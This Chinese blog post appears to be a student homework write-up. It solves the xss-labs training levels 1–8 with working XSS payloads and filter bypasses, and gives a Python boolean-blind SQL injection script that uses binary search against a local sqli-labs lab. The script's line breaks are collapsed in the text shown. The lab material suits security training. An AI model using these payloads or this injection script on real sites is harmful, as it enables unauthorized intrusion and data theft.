一、作业要求

1、xss-labs 1~8关
2、python实现自动化sql布尔育注代码优化(二分查找)

二、操作过程

(一)xss-labs 1~8关

1、前期准备

(1)打开小皮面板,并启动Apache和MySQL

(2)将 xss-labs放到 phpstudy_pro 的 WWW 目录下

(3)访问连接:http://localhost/xss-labs/

2、level1

(1)漏洞:当我们更改name等于不同的值时,有不同的返回结果,因此在这里可能有xss漏洞

(2)解决方式:直接在name=test后面加入xss攻击语句

​<script>alert(1)</script>

3、level2

(1)漏洞:输入框的alue属性未过滤,但<h2>内容被转义

(2)解决方案:闭合value的双引导,利用未过滤的输入点注入脚本

①在搜索框输入​<script>alert()</script>查询不到

②查看源代码

可以看到输入的<script>alert()</script>在<input>标签的value中,需要">闭合,因此要在搜索框中输入

“><script>alert()</script>

4、level3

(1)漏洞:<和>被转义,但单引号未过滤

(2)解决思路

①先在搜索框中输入第二个关卡的代码,发现查询不到

②查看源代码

发现它将闭合的>给实体化了,所以导致语句没有执行成功 。可以采用onfocus事件进行绕过,则在搜索框中输入' οnfοcus='alert() 

'οnfοcus='alert()       //单引号闭合

5、level4

(1)漏洞:双引号闭合属性值

(2)解决思路:与第三关相同,使用onfocus事件实现绕过

①先在搜索框中输入第三个关卡的代码,发现查询不到

②查看源代码

可以采用onfocus事件进行绕过,则在搜索框中输入

1" onclick="alert(1)      //双引号闭合

6、level5

(1)漏洞:onclick和script被替换为o_nclick和scr_ipt

(2)解决思路

①利用之前关卡的代码,发现查询不到

②查看源代码

发现onclick和script被替换为o_nclick和scr_ipt,

③由于onclick和script都用不了,但是通过网页源码发现并没有过滤<>,所以可以用<a href="#">在a标签中,最重要的是href属性,这个属性可以实现一个链接到javascript

"><a href="javascript:alert(1)">点击</a>

 搜索后会跳出来一个点击,点一下就可以过关了!

7、level6

(1)在第五关的基础上,将href替换为hr_ef

(2)解决方案

①利用上一关卡的代码,发现查询不到

②查看源代码

通过源代码发现href被替换成了hr_ef,并且可以看出这个网页并没有限制大小写,所以可以采用转大写绕过。

"><a HREF="javascript:alert(1)">点击</a>

8、level7

(1)漏洞:输入的代码被过滤了

(2)解决思路

① 利用上一关卡的代码,发现查询不到

②查看源代码

③ 利用onfocus事件进行绕过发现on这个关键字被过滤

④通过测试可以看到都过滤了href,onfocus中的on。因为只过滤了on,则可以采用双写绕过。构造oonn,当过滤中间on时然后两边的字母重新重组为on实现绕过操作

"oonnfocus="alert(1)"     //双写绕过

9、level8 

(1)漏洞:href属性自动解码Unicode 

 (2)解决思路

①输入javascript:alert(1)

②查看源代码 

③对javascript:alert(1)进行编码

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

④将编码输入搜索框后,点击下面的友情连接就完成关卡了

(二)python实现自动化sql布尔育注代码优化(二分查找)

1、代码

import requests
# 目标URL
url = "http://localhost/sqli-labs/Less-8/“
# 要推断的数据库信息(例如:数据库名)
database_name = ""
# 字符集(可以根据需要扩展)
charset = "abcdefghijklmnopqrstuvwxyz0123456789"
def get_database_length():    # 推断数据库名的长度length = 0while True:length += 1payload = f"1' AND (SELECT length(database()) = {length}) -- "response = requests.get(url, params={"id": payload})if "You are in..........." in response.text:return lengthif length > 50:  # 防止无限循环breakreturn 0
# 使用二分查找推断数据库名
def get_database_name(length):db_name = ""for i in range(1, length + 1):left, right = 0, len(charset) - 1while left <= right:mid = (left + right) // 2char = charset[mid]payload = f"1' AND (SELECT substring(database(), {i}, 1) >= '{char}') -- "response = requests.get(url, params={"id": payload})if "You are in" in response.text:left = mid + 1else:right = mid - 1db_name += charset[right]return db_name
# 主函数
if __name__ == "__main__":length = get_database_length()if length > 0:print(f"数据库名长度: {length}")db_name = get_database_name(length)print(f"数据库名: {db_name}")else:print("无法确定数据库长度。")

2、输出结果

数据库名长度: 8
数据库名: security

完成

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/news/914794.shtml
繁体地址,请注明出处:http://hk.pswp.cn/news/914794.shtml
英文地址,请注明出处:http://en.pswp.cn/news/914794.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

多模态大语言模型arxiv论文略读(157)

Automatic Evaluation for Text-to-image Generation: Task-decomposed Framework, Distilled Training, and Meta-evaluation Benchmark ➡️ 论文标题&#xff1a;Automatic Evaluation for Text-to-image Generation: Task-decomposed Framework, Distilled Training, and M…

面试150——数组字符串

88. 合并两个有序数组 给你两个按 非递减顺序 排列的整数数组 nums1 和 nums2&#xff0c;另有两个整数 m 和 n &#xff0c;分别表示 nums1 和 nums2 中的元素数目。请你 合并 nums2 到 nums1 中&#xff0c;使合并后的数组同样按 非递减顺序 排列。倒序比较&#xff0c;避免覆…

深入理解设计模式:命令模式详解

在软件开发中&#xff0c;我们经常遇到需要将"请求"或"操作"封装成对象的情况。比如&#xff0c;GUI中的按钮点击、遥控器控制家电、事务系统中的操作回滚等场景。命令模式&#xff08;Command Pattern&#xff09;正是为解决这类问题而生的设计模式。本文…

自己写的 MyHttpServlet 和直接继承 HttpServlet 的区别

继承你自己写的 MyHttpServlet 和直接继承 HttpServlet 的区别如下&#xff1a;1. 继承 HttpServlet&#xff08;官方推荐用法&#xff09;HttpServlet 是 Java EE 官方提供的 Servlet 基类&#xff0c;已经实现了 Servlet 接口的大部分方法。它内部已经实现了 service() 方法&…

python库 maya 库的各种案例的使用详解(人性化的日期时间处理)

文章目录 一、Maya库概述 1.1 maya介绍 1.2 安装 maya 1.3 注意事项 二、基本使用 2.1 创建 MayaDT 对象 2.2 格式化输出 2.3 时间运算 三、高级使用 3.1 时区处理 3.2 时间间隔 3.3 网络时间获取 四、实际应用示例 4.1 日志时间处理 4.2 会议时间提醒 4.3 国际化时间显示 5. M…

企业选择大带宽服务器租用的原因有哪些?

大带宽服务器作为各个行业使用较多的服务器类型&#xff0c;可以为企业提供更高的数据传输速率&#xff0c;极大缩短文件上传与下载时间&#xff0c;对于大型文件&#xff0c;大带宽服务器能够将时间大幅缩减至数分钟或数小时&#xff0c;提高企业整体的工作效率。大带宽服务器…

使用canal同步分库分表数据,到 Elasticsearch

作者&#xff1a;小凯 沉淀、分享、成长&#xff0c;让自己和他人都能有所收获&#xff01; 本文的宗旨在于通过简单干净实践的方式教会读者&#xff0c;配置出一套 Canal 工具服务&#xff0c;来同步分库分表的数据到 Elasticsearch 文件夹系统中。同时在 SpringBoot 工程中&a…

气候为何愈演愈“炙” — 未来五年高温趋势与 AI 气象大模型的突破性价值

早、更准 代表性模型 主要特征 应用进展 GraphCast(DeepMind) 10 天全球预报;0.25 分辨率;< 1 min 推理 90 % 指标超 ECMWF HRES,已用于极端风暴提前锁定Google DeepMind MetNet-3(Google Research) 1–4 km 分辨率;2 min 时序;24 h 区域精细预报 美东、欧洲已在 G…

LVS四种模式及部署NAT、DR模式集群

1、lvs简介LVS:Linux Virtual Server&#xff0c;负载调度器&#xff0c;内核集成&#xff0c;章文嵩&#xff0c;阿里四层SLB(ServerLoadBalance)是基于LVSkeepalived实现LVS 官网: http://www.linuxvirtualserver.org/LVS 相关术语VS: Virtual Server&#xff0c;负责调度RS:…

【Linux】Ubuntu22.04安装zabbix

官方文档&#xff1a;zabbix安装文档 环境如下 环境版本nginx1.26.3zabbix7.0.16mysql8.0.41 安装nginx和mysql 一键部署脚本 部署zabbix #!/bin/bash wget https://repo.zabbix.com/zabbix/7.0/ubuntu/pool/main/z/zabbix-release/zabbix-release_latest_7.0ubuntu22.04_…

C++ - 仿 RabbitMQ 实现消息队列--sqlite与gtest快速上手

目录 SQLite 什么是 SQLite 为什么要用 SQLite SQLite3 C/C API 介绍 SQLite3 C/C API 使用 GTest GTest 是什么 GTest 使用 TEST 宏 断言 事件机制 全局事件 TestSuite 事件 SQLite 什么是 SQLite SQLite 是一个进程内的轻量级数据库&#xff0c;它实现了自给自足…

Web3.0 学习方案

Web3.0 学习方案 一、学习方案 &#xff08;一&#xff09;入门阶段 1. 了解 Web3.0 基础概念 学习内容&#xff1a; Web3.0 的起源、愿景、与 Web2.0 的区别区块链的基本概念&#xff1a;分布式账本、哈希、公钥/私钥、共识机制&#xff08;PoW、PoS、DPoS、PBFT 等&#xff0…

springboot3.5.3依赖学习

springboot3.5.3依赖学习 ​ Spring Boot BOM&#xff08;spring-boot-dependencies&#xff09;是 Spring 官方维护的超级依赖清单&#xff0c;覆盖了 Spring 生态中几乎所有核心库、常用工具库及第三方依赖。其作用是统一管理这些依赖的版本&#xff0c;确保它们相互兼容。以…

制作一款打飞机游戏80:道具碰撞

目前我们仍然无法拾取这些物品&#xff0c;它们只是简单地掉落在地上。因此&#xff0c;我们需要对这些功能进行增强。目标‌弹射物品‌&#xff1a;当物品生成时&#xff0c;我们希望它们能以一定的力量弹出&#xff0c;而不是无力地掉落。‌添加不同类型的物品‌&#xff1a;…

Python编程基础(六)| 用户输入和while循环

引言 很久没有写 Python 了&#xff0c;有一点生疏。这是学习《Python 编程&#xff1a;从入门到实践&#xff08;第3版&#xff09;》的课后练习记录&#xff0c;主要目的是快速回顾基础知识。 练习1&#xff1a;汽车租赁 编写一个程序&#xff0c;询问用户要租什么样的汽车&a…

【华为机试】HJ52 计算字符串的编辑距离

文章目录HJ52 计算字符串的编辑距离描述输入描述输出描述示例1HJ52 计算字符串的编辑距离描述输入描述输出描述示例1解题思路算法分析动态规划状态转移状态转移方程算法流程图DP表格示例三种操作详解代码实现思路时间复杂度分析关键优化技巧实际应用场景算法扩展面试考点完整题…

15.手动实现BatchNorm(BN)

15.1 BatchNorm操作手动实现 import torch from torch import nndef batch_norm(X,gamma,beta,moving_mean,moving_var,eps,momentum):if not torch.is_grad_enabled():#这个是推理模式X_hat(X-moving_mean)/torch.sqrt(moving_vareps)else:assert len(X.shape) in (2,4)if le…

【项目实践】SMBMS(Javaweb版)汇总版

文章目录前期准备工作数据库、数据表创建web项目创建项目文件目录配置Tomcat&#xff0c;导入依赖建立实体类编写基础公共方法类导入基础资源登录功能登录页面持久层dao层的用户登录及接口实现dao层接口实现所需的方法业务层sevice层的接口的实现接口实现相关的业务逻辑编写ser…

隐藏源IP的核心方案与高防实践

一、源IP暴露的风险 直接DDoS攻击&#xff1a;2025年Q2全球DDoS攻击峰值达3.8Tbps&#xff08;来源&#xff1a;Cloudflare报告&#xff09;漏洞利用&#xff1a;暴露的SSH端口平均每天遭受12,000暴力破解尝试数据泄露&#xff1a;直接连接数据库风险提升300% 二、4种有效隐藏方…

深度学习图像分类数据集—五种电器识别分类

该数据集为图像分类数据集&#xff0c;适用于ResNet、VGG等卷积神经网络&#xff0c;SENet、CBAM等注意力机制相关算法&#xff0c;Vision Transformer等Transformer相关算法。 数据集信息介绍&#xff1a;五种电器识别分类&#xff1a;[notebook, phone, powerbank, tablet, w…